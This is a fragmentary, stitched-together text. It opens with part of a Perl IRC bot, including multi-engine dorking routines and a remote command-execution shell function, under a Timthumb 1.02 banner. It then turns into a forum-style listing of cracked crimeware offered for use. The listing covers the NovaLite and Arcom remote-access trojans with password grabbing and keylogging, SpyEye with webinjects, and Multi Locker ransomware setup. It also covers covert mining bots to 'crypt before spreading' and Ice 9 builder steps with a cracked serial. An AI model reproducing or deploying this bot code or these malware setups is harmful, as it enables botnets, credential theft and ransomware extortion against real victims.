    my $b   = 0;
   for ($b=10; $b<=500; $b+=10) {
        my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
        my $res = &search_engine_query($search);
      if ($res !~ /next/) {$b=500;}
        while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
            if ($1 !~ /yippy\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub gutser() {
    my @list;
    my $key = $_[0];
    for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
        my $res = &search_engine_query($search);
        while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
            if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub google2() {
  my @list;
  my $key = $_[0];
  my $b     = 0;
  my @doms =
("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.c
k","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu
","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.
mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru",
"rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","co
m.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
    for ($b=1; $b<=200; $b+=10) {
        my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
            if ($1 !~ /google/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    } return @list;
}
}

sub exalead() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=1000; $b+=100) {
        my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
        my $res = &search_engine_query($search);
      if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
        while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($link!~ /exalead/){
                my @grep = &links($link);
                push(@list,@grep);
            }
            }
        }
    return @list;   
}   

sub lycos() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
            if ($1 !~ /lycos\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;   
}

sub virgilio() {
  my @list;
  my $key = $_[0];
    for ($b=10; $b<=1000; $b+=100) {
        my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=100&offset=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/http:\/\/(.+?)\//g) {
            if ($1 !~ /\.virgilio\.it/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
            }
        }
    }
    return @list;   
}   

sub webde() {
  my @list;
  my $key = $_[0];
    for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
        my $res = &search_engine_query($search);
      if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
        while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
            my $link = $1;
            if ($link!~ /suche|web/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;   
}   

sub hotbot() {
  my @list;
  my $key = $_[0];
    for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
        my $res = &search_engine_query($search);
      if ($res =~ m/had no web result/i) {$b=50;}
        while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /hotbot\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;   
}   

sub aol() {
  my @list;
  my $key = $_[0];
    for ($b=2; $b<=50; $b+=1) {
        my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
            if ($1 !~ /aol\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;   
}

sub sapo(){
    my @list;
   my $key = $_[0];
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
        my $res = &search_engine_query($search);
      if ($res !~ m/Next/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
            if ($1 !~ /\.sapo\.pt/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub duck() {
   my @list;
   my $key = $_[0];
    my $b   = 0;
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
        my $res = &search_engine_query($search);
      if ($res =~ m/No more results/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /duckduckgo/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub lygo() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
        my $res = &search_engine_query($search);
      if ($res =~ m/had no web result/i) {$b=50;}
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
            if ($1 !~ /hotbot\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub yause() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
        my $res = &search_engine_query($search);
      if ($res !~ m/Next/i) {$b=50;}
        while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
            if ($1 !~ /yauba\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub baidu() {
   my @list;
   my $key = $_[0];
    my $b   = 0;
   for ($b=0; $b<=1000; $b+=100) {
        my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
            if ($1 !~ /baidu\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
            }
        }
    }
    return @list;
}

sub kipot() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
            if ($1 !~ /qkport\.com/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub gibla() {
   my @list;
   my $key = $_[0];
   my $hal = "/search?q=".&key($key);
        my $search = ("http://www.gigablast.com".$hal);
        my $res = &search_engine_query($search);
   while ($res =~ m/Next 10 Results/) {
        $search = ("http://www.gigablast.com".$hal);
        while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
            my $link = $1;
            my @grep = &links($link);
            push(@list,@grep);
      }
   if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
   $res = &search_engine_query($search);
   }return @list;
}

sub black() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
      my $cek = $b+1;
        my $res = &search_engine_query($search);
      if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
        while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /blekko/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub onet() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=1; $b<=50; $b+=1) {
        my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /webcache|query/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub sizuka() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=10; $b<=100; $b+=10) {
        my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /szukacz/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub walla() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=0; $b<=50; $b+=1) {
        my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /walla\.co\.il/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub demos() {
   my @list;
   my $key = $_[0];
        my $b   = 0;
   for ($b=0; $b<=500; $b+=10) {
        my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /search|dmoz/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub rose() {
  my @list;
  my $key = $_[0];
  my $b     = 0;
  my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
    for ($b=0; $b<=30; $b+=10) {
        my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
            if ($1 !~ /euroseek/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
}return @list;
}

sub seznam() {
   my @list;
   my $key = $_[0];
   for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
            if ($1 !~ /seznam/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub tiscali() {
   my @list;
   my $key = $_[0];
   for ($b=0; $b<=500; $b+=10) {
        my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
            if ($1 !~ /tiscali/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub naver() {
   my @list;
   my $key = $_[0];
   for ($b=1; $b<=500; $b+=10) {
        my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&#9001;=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /naver/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub clix(){
   my @list;
   my $key = $_[0];
   for($b=1;$b<=1000;$b+=100){
      my $Th=("http://pesquisa.clix.pt/resultado.html?question=".key($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
      my $Res=&search_engine_query($Th);
      while($Res =~ m/http:\/\/(.+?)\//g){
         my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
      }
   }
return @list;
}

sub search66(){
   my @list;
   my $key = $_[0];
   for($b=10;$b<=1000;$b+=100){
      my $Th=("http://search.search66.com/?query=".key($key)."&start=".$b."&offset=20&lang=ENG");
      my $Res=&search_engine_query($Th);
      while($Res =~ m/http:\/\/(.+?)\//g){
         my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
         }
      }
   return @list;
}

sub biglobe(){
   my @list;
   my $key = $_[0];
   for($b=10;$b<=1000;$b+=100){
      my $Th=("http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=25&q=".key($key)."&lr=all");
      my $Res=&search_engine_query($Th);
      while($Res =~ m/http:\/\/(.+?)\//g){
         my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
      }
   }
return @list;
}

sub interia() {
    my @list;
    my $key = $_[0];
    for ($i = 0;$i<= 1000; $i+= 100) {
           my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$i);
           my $res = &search_engine_query($search);
           while ($res =~ m/http:\/\/(.+?)\/(.*)<\/a>/g) {
                my $link = $1; if ($link!~ /google|interia/) { $link =~ s/<//g; $link =~ s/ //g; my @grep=links($link); push(@list,@grep);
           }
       }
   }
  return @list;
}

sub pagina(){
    my @list;
    my $key = $_[0];
    my $i   = 0;
    for ($i=0; $i<=100; $i+=1){
        my $web=("http://startgoogle.startpagina.nl/index.php?q=".key($key)."&start=".$i."&origin=homepage&source=geentaal");      
        my $Res= search_engine_query($web);
        while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
            if ($1 !~ /pagina|pagina's/){
                my $k=$1;
                my @grep=links($k);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

#########################################

sub clean() {
    my @cln = ();
    my %visit = ();
    foreach my $element (@_) {
        $element =~ s/\/+/\//g;
        next if $visit{$element}++;
        push @cln, $element;
    }
    return @cln;
}

sub key() {
    my $dork = $_[0];
    $dork =~ s/ /\+/g;
    $dork =~ s/:/\%3A/g;
    $dork =~ s/\//\%2F/g;
    $dork =~ s/\?/\%3F/g;
    $dork =~ s/&/\%26/g;
    $dork =~ s/\"/\%22/g;
    $dork =~ s/,/\%2C/g;
    $dork =~ s/\\/\%5C/g;
   $dork =~ s/@/\%40/g;
   $dork =~ s/\[/\%5B/g;
   $dork =~ s/\]/\%5D/g;
   $dork =~ s/\?/\%3F/g;
   $dork =~ s/\=/\%3D/g;
   $dork =~ s/\|/\%7C/g;
    return $dork;
}

sub links() {
    my @list;
    my $link = $_[0];
    my $host = $_[0];
    my $hdir = $_[0];
    $hdir =~ s/(.*)\/[^\/]*$/$1/;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host .= "/";
    $link .= "/";
    $hdir .= "/";
    $host =~ s/\/\//\//g;
    $hdir =~ s/\/\//\//g;
    $link =~ s/\/\//\//g;
    push(@list,$link,$host,$hdir);
    return @list;
}

sub search_engine_query($) {
    my $url = $_[0];
    $url =~ s/http:\/\///;
    my $host = $url;
    my $query = $url;
    my $page  = "";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~ s/$host//;
    if ($query eq "") { $query = "/"; }
        eval {
            my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
            print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
            my @pages = <$sock>;
            $page = "@pages";
            close($sock);
        };
    return $page;
}

#########################################

sub shell() {
    my $path = $_[0];
    my $cmd = $_[1];
    if ($cmd =~ /cd (.*)/) {
        chdir("$1") || &msg("$path"," 4,1No such file or directory");
        return;
    }
    elsif ($pid = fork) { waitpid($pid, 0); }
    else { if (fork) { exit; } else {
        my @output = `$cmd 2>&1 3>&1`;
        my $c = 0;
        foreach my $output (@output) {
            $c++;
            chop $output;
            &msg("$path","$output");
            if ($c == 5) { $c = 0; sleep 2; }
        }
        exit;
    }}
}

sub isAdmin() {
    my $status = 0;
    my $nick = $_[0];
    if ($nick eq $admin) { $status = 1; }
    return $status;
}

sub msg() {
    return unless $#_ == 1;
    sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}

sub nick() {
    return unless $#_ == 0;
    sendraw("NICK $_[0]");
}

sub notice() {
    return unless $#_ == 1;
    sendraw("NOTICE $_[0] :$_[1]");
}
#[@]#####################=-!-=#######################[@]#
# !|              Timthumb version 1.02                |! #
#[@]#####################=-IRH-=#####################[@]#


NovaLite v3.7 [Cracked]








Features

+ Unicode. Works an Win OS (32/64) and all Pc languages (Asian, Arabic and so forth)
+Multithreaded Transfer System (Unlimited Transfers at The same Time. Depending on The Bandwidth).
+ Works on a single port.
+ UAC workaround (bypass)
+ Anti Bot kill
+ No dependencies.
+ Server size is 119k
+ Broadcast commands across checked severs in SIN panel.
+ Transfer data compression (fast)
+ Cryptable with no EOF data
+ Unique interface, lots of right clicks and easy to use.
+ Tree menu and dropdown menu. Tree menu can be hidden.
+ Skinned, and comes with 133 skins and skin builder.


Major changes in 3.7:
Team viewer plug-in (Novas only plugin) (TV not required on Client or host machine, it's built in!)
Added hideable Tree menu (select dropdown or tree menu)
Recoded keyloger, more stable and color coded results.
Extensive testing, no bugs found and no servers "lost"

SIN:
+ Country Flag (By OS lang or GeoIP), IP, Server Name (Changeable), User/PC Name, Server version, Ping, Active window
Screen Control (Right click in SIN)
+ Auto refresh, mouse clicks, keyboard, auto save,
+ Stretch (fit window or full) Select color 4-32 Bit, Select size 25-100%

Cam Shot:
+ Stretch (fit window or full) Select color 4-32 Bit, Select size 25-100%

File Manager:
+ Shows all drives, File size and attributes. File manager shows icons.
+ Upload, download, Run a file, search current folder or dive by extension, make a folder, rename a file, refresh view
+ Upload and downloads can be paused and resumed!
+ Unlimited downloads at once, shows progress and speed.

Service manager:
+ List services, Start, stop or Remove. Start a new system service!

Window manager:
+ List windows w/handle
+ Hide, Show, close, Max, Min, Disable, Enable, Edit Title, Send keys to window

Registry Editor:
+ Full control of registry

Process manager:
+ Name/PID/Path/Threads
+ Terminate, Suspend and resume
+ Show modules for process (Dll name, path, Image address and size.)

System Information
+ Same old stuff

Server Information
+ Same old stuff

Remote Shell:
+ One of the most powerful, but un-used feature of many rats

Passwords:
+ Nova currently gets the passwords
Internet Explorer
Opera
FireFox
Chrome
Safari
--MAIL--
IncrediMail
Eudora
Outlook Express
Microsoft Outlook
Windows Mail
Windows Live Mail
Netscape
Mozilla Thunderbird
Group Mail Free
Yahoo! Mail (From IM)
Hotmail/MSN mail (From IM)
Gmail Notifier
--Messengers--
Trillian
Trillian Astra
Miranda
GAIM/Pidgin
MySpace IM
PaltalkScene
Digsby
MSN Messenger
Windows Messenge
Windows Live Messenge
Yahoo Messenge
Google Talk
ICQ Lite
AOL Instant Messenge
Trillian
Trillian Astra
Miranda
GAIM/Pidgin
MySpace IM
PaltalkScene
Digsby

Offline keylogger:
+ Save all keystokes when not connected to the SIN. Color coded and saves to TXT.

Broadcast:
+ You may broadcast to all 'selected servers' in the SIN panel;
+ Download and run, Visit website (silent), Update server.

Teamviewer Plugin
+ Real Teamview is downloaded and run on host machine. Sends login info back to client and opens TV with one click. You don't need teamview installed to use!

Other features:

Server:
+ Edit ID, Restart, uninstall, close, disconnect, ping on demand
+ Server selection for broadcast:
+ Select all, by country, or manual 



Or



SpyEye 1.3.48 + Webinject+Plugins [Cracked]




 Just unpack the WebInject+Plugins.zip into a folder and then unpack the builder into that folder. Be sure to read the tutorial before trying to set it up. 







Or


                                                                           

Multi Locker 3 (ransomware) [crackeded]










- Unpack File

- Create MySQL Database
- Import .\lending\sql\db.sql

- Edit .\lending\include\config.php
- Set your Database Infos, then Login Infos
- Save
- Edit .\lending\conf\config.inc.php
- Set Login Infos for Editor
- Save
- Upload all files to your Host

 

Set write permission according your needs, you should know what you are doing.

- Launch MLBuilder.exe
- Set you Host where getunlock.php and tds.php are stored, actually in '.\lending\'
- Let say we set this up locally we Set Host to : 127.0.0.1/lending/
- Host must not begin with 'http://' must End with '/'
- Click 'Build'

- File is 8 Kb ideal for Exploit Packs



Or



Bitcoin mining

Since there seems to be so much interest in bitcoin mining bots here I decided to add a couple for anyone interested. The first one was originally posted on hf a while back so it's definitely not UD (you'll need to crypt before spreading). Also you use a twitter account as the controller which definitely doesn't make this the most resilient option. It's easy to setup for noobs though so I'm including it..







                                                      
Or
                                                      



       
Another option is kMiner which while it doesn't depend on a twitter account to function (thankfully) is also highly detected. It's also easy to configure though so it's included.

                                                      
Or
                                                      


Arcom Rat



- Coded in C/Delphi
- Form Grabber
- Advanced password Grabber
- Export stolen info as PDF
- Persistance
- Teamviewer (buggy)
- History Grabber
- Ring3 Rootkit (buggy) (86x)
- Remote Portforward
- SOCKS v4
- TCP Tunneling






Or


Ice 9 Cracked

How to set up:
1. Create one mysql db.
2. Upload contents of web directory to your host, you need to have something like: ice9.com/ice9dir/adm/gate.php
3. Open in your browser ice9.com/ice9dir/adm/install and paste mysql info, root user and rc4 key.
4. Enable 'write reports to database' and chmod 777 ice9.com/ice9dir/adm/system >> click 'install' (save rc4 key before).


5. Delete ice9.com/ice9dir/adm/install directory.
6. Open ArmaFP.exe >> hwid= 1111-1111
7. Load file= ice9 cracked/builder/full_builder_1.2.5.exe
8. Wait for register dialog and enter:
Name - ApocX
Serial - 0PGTHR-NYGK6C-K7M29K-G2E2V4-VHMAQU-378K1D
9. Open ice9 cracked/builder/settings.txt and make it like this:
autoupdate_path "http://ice9.com/ice9dir/settings.bin
receiving_script_path "http://ice9.com/ice9dir/adm/gate.php
10. Setting's path: http://ice9.com/ice9dir/config/index.php
RC4 encryption key: paste your key used when you installed panel
11. Click 'build bot's settings' > save as settings.bin then click 'build bot' and save your server.
12. Upload settings.bin to ice9.com/ice9dir/config/ directory
13. Log in your panel: ice9.com/ice9dir/adm/index.php
14. Profit.


Or